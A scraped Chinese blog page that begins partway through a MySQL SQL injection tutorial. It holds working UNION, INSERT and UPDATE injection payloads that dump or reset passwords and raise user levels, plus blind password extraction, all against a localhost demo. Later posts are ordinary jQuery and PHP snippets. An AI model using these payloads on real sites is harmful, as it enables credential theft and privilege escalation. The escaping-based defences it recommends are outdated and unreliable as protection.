http://127.0.0.1/injection/show.php?id=’ union select 1,username,password from user into outfile ‘c:/user.txt

INSERT语句:
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES (”, ‘$username’, ‘$password’, ‘$homepage’, ’1′);
构造homepage值为:http://4ngel.net’, ’3’)#
SQL语句变为:INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES (”, ‘angel’, ‘mypass’, ‘http://4ngel.net’, ’3’)#’, ’1′);

UPDATE语句:我喜欢这样个东西
先理解这句SQL
UPDATE user SET password=’MD5($password)’, homepage=’$homepage’ WHERE id=’$id’
如果此SQL被修改成以下形式,就实现了注入
1:修改homepage值为
http://4ngel.net’, userlevel=’3
之后SQL语句变为
UPDATE user SET password=’mypass’, homepage=’http://4ngel.net’, userlevel=’3′ WHERE id=’$id’
userlevel为用户级别
2:修改password值为
mypass)’ WHERE username=’admin’#
之后SQL语句变为
UPDATE user SET password=’MD5(mypass)’ WHERE username=’admin’#)’, homepage=’$homepage’ WHERE id=’$id’
3:修改id值为
‘ OR username=’admin’
之后SQL语句变为
UPDATE user SET password=’MD5($password)’, homepage=’$homepage’ WHERE id=” OR username=’admin’

===高级部分===
常用的MySQL内置函数
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
database()
version()
SUBSTRING()
MID()
char()
load_file()
……
函数应用
UPDATE article SET title=DATABASE() WHERE id=1
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version()
SELECT * FROM user WHERE username=char(97,110,103,101,108)
# char(97,110,103,101,108) 相当于angel,十进制
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111

确定数据结构的字段个数及类型
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)

猜数据表名
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 from members

跨表查询得到用户名和密码
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1

其他
#验证第一位密码
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49

===注入防范===
服务器方面
magic_quotes_gpc设置为On
display_errors设置为Off
编码方面
$keywords = addslashes($keywords);
$keywords = str_replace(“_”,”\_”,$keywords);
$keywords = str_replace(“%”,”\%”,$keywords);
数值类型
使用intval()抓换
字符串类型
SQL语句参数中要添加单引号
下面代码,用于防治注入
if (get_magic_quotes_gpc()) {
//….
}else{
$str = mysql_real_escape_string($str);
$keywords = str_replace(“_”,”\_”,$keywords);
$keywords = str_replace(“%”,”\%”,$keywords);
}
有用的函数
stripslashes()
get_magic_quotes_gpc()
mysql_real_escape_string()
strip_tags()
array_map()
addslashes()
参考文章:
http://www.4ngel.net/article/36.htm (SQL Injection with MySQL)中文
http://www.phpe.net/mysql_manual/06-4.html(MYSQL语句参考)

Comments (9)

jQuery操作input

1顶一下获取选中的值 获取一组radio被选中项的值 var item = $(‘input[@name=items][@checked]‘).val(); 获取select被选中项的文本 var item = $(“select[@name=items] option[@selected]“).text(); select下拉框的第二个元素为当前选中值 $(‘#select_id’)[0].selectedIndex = 1; radio单选组的第二个元素为当前选中值 $(‘input[@name=items]‘).get(1).ch...[阅读全文]

1
顶一下

获取选中的值
获取一组radio被选中项的值
var item = $(‘input[@name=items][@checked]‘).val();

获取select被选中项的文本
var item = $(“select[@name=items] option[@selected]“).text();

select下拉框的第二个元素为当前选中值
$(‘#select_id’)[0].selectedIndex = 1;

radio单选组的第二个元素为当前选中值
$(‘input[@name=items]‘).get(1).checked = true;

获取值:
文本框,文本区域:
$(“#txt”).attr(“value”);

$(“#txt”).val();

多选框checkbox:
$(“#checkbox_id”).attr(“value”);

单选组radio:
$(“input[@type=radio][@checked]“).val();

下拉框select:
$(‘#sel’).val();

控制表单元素:
文本框,文本区域:
$(“#txt”).attr(“value”,”);//清空内容
$(“#txt”).attr(“value”,’11′);//填充内容

多选框checkbox:
$(“#chk1″).attr(“checked”,”);//不打勾
$(“#chk2″).attr(“checked”,true);//打勾
if($(“#chk1″).attr(‘checked’)==undefined) //判断是否已经打勾

单选组radio:
$(“input[@type=radio]“).attr(“checked”,’2′);//设置value=2的项目为当前选中项

下拉框select:
$(“#sel”).attr(“value”,’-sel3′);//设置value=-sel3的项目为当前选中项
$(“<optionvalue=’1′>1111</option><optionvalue=’2′>2222</option>”).appendTo(“#sel”)//添加下拉框的option
$(“#sel”).empty();//清空下拉框

=====================
在Jquery中,用$(“#id”)来获得页面的input元素,其相当于document.getElementById(“element”)
但是,该获取的是一个Jquery对象,而不是一个dom element对象.value是dom element对象的属性.所以,使用
$(“#id”).value不能取到值
取值的方法如下:
取值:val = $(“#id”)[0].value;

$(“#id”)[0].value = “new value”;

赋值:
$(“#id”)[0].value = “new value”;
或者$(“#id”).val(“new value”);val = $(“#id”).attr(“value”);

==================================
jquery input text radio check select 操作
2009-04-29 15:36

<!DOCTYPE html PUBLIC “-//W3C//DTD XHTML 1.0 Transitional//EN” “http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd”>
<html xmlns=”http://www.w3.org/1999/xhtml”>
<head>
<meta http-equiv=”Content-Type” content=”text/html; charset=utf-8″ />
<title>无标题文档</title>

<script src=”jquery-starterkit/lib/jquery-1.3.2.min.js” type=”text/javascript”></script>

</head>

<body>
<input type=”text” id=”dd” name=”dd” value=”dds”/>dd

<input name=”rr” id=”rr” type=”radio” value=”34″ />ff
<input name=”rr” id=”rr2″ type=”radio” value=”4″ />55

<input name=”ff” type=”checkbox” value=”aa” />jgdg
<input name=”ff” type=”checkbox” value=”gd” />jgdg

<select name=”ss” id=”ss” size=”1″>
<option value=”"></option>
<option value=”8″>d</option>
<option value=”2″>g</option>
</select>

<br/>
<input type=”button” id=”button” value=”按钮一” />
<input type=”button” id=”jj” value=”按钮二” />
<br/>

<div id=”ssd”>fgfooHello</div>

</body>

<script language=”javascript” type=”text/javascript”>
<!–
$(function(){
           $(“#button”).click(function(){
                   
                                      
//获取值
//alert( $(‘#dd’).val());//type=text
// alert($(‘input[name=rr][checked]‘).val());//type=radio
// alert($(‘input[name=ff][checked]‘).val());//type=checkbox
// alert($(“select[name=ss] option[selected]“).val());//select 相等于alert($(“#ss option[selected]“).val());
                                   
//获取文本
//alert($(“select[name=ss] option[selected]“).text());//select

                                   
//控制
/*// Disable #dd 禁用
$(“#dd”).attr(“disabled”,”disabled”);
// Enable #dd 解禁
$(“#jj”).removeAttr(“disabled”);*/
// $(‘input[name=rr]‘).get(0).checked = true;//第一个radio被选中
//alert($(“input[type=radio][value=34]“).attr(“checked”,’checked’));//value=34的radio被选中
                                   
//alert($(“input[type=checkbox][value=gd]“).attr(“checked”,’checked’));//value=gd的checkbox被选中
//$(‘input[name=ff]‘).get(1).checked = true;//第一个check被选中
                                   
                                   
                                   
/*//根据option的text选中option
count=$(“#ss”).find(“option”).length;
for(var i=0;i<count;i++)
{          
if($(“#ss”).get(0).options[i].text == ‘d’)
{
    $(“#ss”).get(0).options[i].selected = true;
        
     break;
}
} */
       
//$(“<option value=’1′>1111</option><option value=’25′>22s22</option>”).appendTo(“#ss”);//增加option
//$(“#ss option[value=8]“).remove(“”);//除去 <option value=’8′>d</option>
       
//$(“#ss”).attr(“value”,’2′);//选中option                           
//$(‘#ss’)[0].selectedIndex = 1;//选中option
               
//$(“#ss”).empty();//清空全部option
           
/*//替换文本
var $thirdLink = $(“#ssd”);
var linkText = $thirdLink.text().replace(‘foo’,'bar’);
$thirdLink.text(linkText); */
    });      
});
–>
</script>
</html>

Comments (621)

PHP延迟静态捆绑Late Static Bindings

1顶一下看了一下PHP5.3的Late Static Bindings,简单了翻译一下 Late Static Bindings是在PHP5.3中加入的新特性,拼音来说,就是把本来在定义阶段固定下来的表达式 或变量,改在执行阶段才决定,比如当一个子类继承了父类的静态表达式的时候,它的值并不能被改变,有 时不希望看到这种情况 <?php class A { public static function who() {        echo __CLASS__; } public static function t...[阅读全文]

1
顶一下

看了一下PHP5.3的Late Static Bindings,简单了翻译一下
Late Static Bindings是在PHP5.3中加入的新特性,拼音来说,就是把本来在定义阶段固定下来的表达式
或变量,改在执行阶段才决定,比如当一个子类继承了父类的静态表达式的时候,它的值并不能被改变,有
时不希望看到这种情况
<?php
class A {
public static function who() {
       echo __CLASS__;
}
public static function test() {
       self::who();   
}
}
class B extends A {   
public static function who() {
      echo __CLASS__;
}

B::test();//输入A
?>
但是现在我想让其输出B,那么使用Late Static Bindings可实现这一特性了
<?php
class A {
public static function who() {
       echo __CLASS__;
}
public static function test() {
       static::who(); // Late Static Bindings   
}
}
class B extends A {   
public static function who() {
      echo __CLASS__;
}

B::test();//输出B
?>

Comments (252)

PHP下载远程文件类(支持断点续传)

1顶一下1.功能:支持断点续传的下载,能计算传输率,能控制传输率 简易使用方法: $object = new httpdownload(); $object->set_byfile($file)%N#H#%;//服务器文件名,包括路径 $object->filename = $filename;//下载另存为的文件名 $object->download(); 3.源文件: <?       class httpdownload {       var $data = null;       var $data_len = 0;       var $dat...[阅读全文]

1
顶一下

1.功能:支持断点续传的下载,能计算传输率,能控制传输率

简易使用方法:

$object = new httpdownload();
$object->set_byfile($file)%N#H#%;//服务器文件名,包括路径
$object->filename = $filename;//下载另存为的文件名
$object->download();

3.源文件:

<?
      class httpdownload {
      var $data = null;
      var $data_len = 0;
      var $data_mod = 0;
      var $data_type = 0;
      var $data_section = 0; //section download
      var $sentSize=0;
      var $handler = array(‘auth’ => null);
      var $use_resume = true;
      var $use_autoexit = false;
      var $use_auth = false;
      var $filename = null;
      var $mime = null;
      var $bufsize = 2048;
      var $seek_start = 0;
      var $seek_end = -1;
      var $totalsizeref = 0;
      var $bandwidth = 0;
      var $speed = 0;
      function initialize() {
            global $HTTP_SERVER_VARS;
            if ($this->use_auth) //use authentication {
                  if (!$this->_auth()) //no authentication {
                           header(‘WWW-Authenticate: Basic realm=”Please enter your username and password”‘);
                          header(‘HTTP/1.0 401 Unauthorized’);
                           header(‘status: 401 Unauthorized’);
                          if ($this->use_autoexit) exit();
                          return false;
                  }
            }
            if ($this->mime == null) $this->mime = “application/octet-stream”; //default mime
            if (isset($_SERVER['HTTP_RANGE']) || isset($HTTP_SERVER_VARS['HTTP_RANGE'])) {
                  if (isset($HTTP_SERVER_VARS['HTTP_RANGE'])) $seek_range = substr($HTTP_SERVER_VARS['HTTP_RANGE'] , strlen(‘bytes=’));
                  else $seek_range = substr($_SERVER['HTTP_RANGE'] , strlen(‘bytes=’));
             $range = explode(‘-’,$seek_range);
            if ($range[0] > 0) {
                  $this->seek_start = intval($range[0]);
            }
            if ($range[1] > 0) $this->seek_end = intval($range[1]);
            else $this->seek_end = -1;
            if (!$this->use_resume) {
                  $this->seek_start = 0;
                  //header(“HTTP/1.0 404 Bad Request”);
                  //header(“Status: 400 Bad Request”);
                  //exit;
                  //return false;
            } else {
                  $this->data_section = 1;
            }
      } else {
            $this->seek_start = 0;
            $this->seek_end = -1;
      }
      $this->sentSize=0;
      return true;
}
function header($size,$seek_start=null,$seek_end=null) {
      header(‘Content-type: ‘ . $this->mime);
      header(‘Content-Disposition: attachment; filename=”‘ . $this->filename . ‘”‘);
      header(‘Last-Modified: ‘ . date(‘D, d M Y H:i:s \G\M\T’ , $this->data_mod));
      if ($this->data_section && $this->use_resume) {
            header(“HTTP/1.0 206 Partial Content”);
            header(“Status: 206 Partial Content”);
            header(‘Accept-Ranges: bytes’);
            header(“Content-Range: bytes $seek_start-$seek_end/$size”);
            header(“Content-Length: ” . ($seek_end – $seek_start + 1));
      } else {
            header(“Content-Length: $size”);
      }
}
function download_ex($size) {
      if (!$this->initialize()) return false;
      ignore_user_abort(true);
      //Use seek end here
      if ($this->seek_start > ($size – 1)) $this->seek_start = 0;
      if ($this->seek_end <= 0) $this->seek_end = $size – 1;
      $this->header($size,$seek,$this->seek_end);
      $this->data_mod = time();
      return true;
}
function download() {
      if (!$this->initialize()) return false;
      try {
            error_log(“begin download\n”, 3,”/usr/local/www/apache22/LOGS/apache22_php.err”);
            $seek = $this->seek_start;
            $speed = $this->speed;
            $bufsize = $this->bufsize;
            $packet = 1;
            //do some clean up
            @ob_end_clean();
            $old_status = ignore_user_abort(true);
            @set_time_limit(0);
            $this->bandwidth = 0;
            $size = $this->data_len;
            if ($this->data_type == 0) //download from a file {
                  $size = filesize($this->data);
                  if ($seek > ($size – 1)) $seek = 0;
                  if ($this->filename == null) $this->filename = basename($this->data);
                  $res = fopen($this->data,’rb’);
                  if ($seek) fseek($res , $seek);
                  if ($this->seek_end < $seek) $this->seek_end = $size – 1;
                  $this->header($size,$seek,$this->seek_end); //always use the last seek
                  $size = $this->seek_end – $seek + 1;
                  while (!(connection_aborted() || connection_status() == 1) && $size > 0) {
                        if ($size < $bufsize) {
                              echo fread($res , $size);
                              $this->bandwidth += $size;
                              $this->sentSize+=$size;
                        } else {
                        echo fread($res , $bufsize);
                        $this->bandwidth += $bufsize;
                        $this->sentSize+=$bufsize;
                  }
                  $size -= $bufsize;
                  flush();
                  if ($speed > 0 && ($this->bandwidth > $speed*$packet*1024)) {
                        sleep(1);
                        $packet++;
                  }
            }
            fclose($res);
      }
      elseif ($this->data_type == 1) //download from a string
      {
            if ($seek > ($size – 1)) $seek = 0;
            if ($this->seek_end < $seek) $this->seek_end = $this->data_len – 1;
            $this->data = substr($this->data , $seek , $this->seek_end – $seek + 1);
            if ($this->filename == null) $this->filename = time();
            $size = strlen($this->data);
            $this->header($this->data_len,$seek,$this->seek_end);
            while (!connection_aborted() && $size > 0) {
                  if ($size < $bufsize) {
                        $this->bandwidth += $size;
                        $this->sentSize+=$size;
                  } else {
                        $this->bandwidth += $bufsize;
                        $this->sentSize+=$bufsize;
                  }
                  echo substr($this->data , 0 , $bufsize);
                  $this->data = substr($this->data , $bufsize);
                  $size -= $bufsize;
                  flush();
                  if ($speed > 0 && ($this->bandwidth > $speed*$packet*1024)) {
                        sleep(1);
                        $packet++;
                  }
            }
      } else if ($this->data_type == 2) {
            //just send a redirect header
            header(‘location: ‘ . $this->data);
      }
      if($this->totalsizeref==$this->sentSize )error_log(“end download\n”, 3,”/usr/local/www/apache22/LOGS/apache22_php.err”);
      else error_log(“download is canceled\n”, 3,”/usr/local/www/apache22/LOGS/apache22_php.err”);
      if ($this->use_autoexit) exit();
      //restore old status
      ignore_user_abort($old_status);
      set_time_limit(ini_get(“max_execution_time”));
}
catch(Exception $e) {
      error_log(“cancel download\n”.$e, 3,”/usr/local/www/apache22/LOGS/apache22_php.err”);
}
      return true;
}
function set_byfile($dir) {
      if (is_readable($dir) && is_file($dir)) {
            $this->data_len = 0;
            $this->data = $dir;
            $this->data_type = 0;
            $this->data_mod = filemtime($dir);
            $this->totalsizeref = filesize($dir);
            return true;
      } else return false;
}
function set_bydata($data) {
      if ($data == ”) return false;
            $this->data = $data;
            $this->data_len = strlen($data);
            $this->data_type = 1;
            $this->data_mod = time();
            return true;
}
function set_byurl($data) {
      $this->data = $data;
      $this->data_len = 0;
      $this->data_type = 2;
      return true;
}
function set_lastmodtime($time) {
      $time = intval($time);
      if ($time <= 0) $time = time();
      $this->data_mod = $time;
}
function _auth() {
      if (!isset($_SERVER['PHP_AUTH_USER'])) return false;
      if (isset($this->handler['auth']) && function_exists($this->handler['auth'])) {
            return $this->handler['auth'](‘auth’ , $_SERVER['PHP_AUTH_USER'],$_SERVER['PHP_AUTH_PW']);
      } else return true; //you must use a handler
      }
}
?>

Comments (892)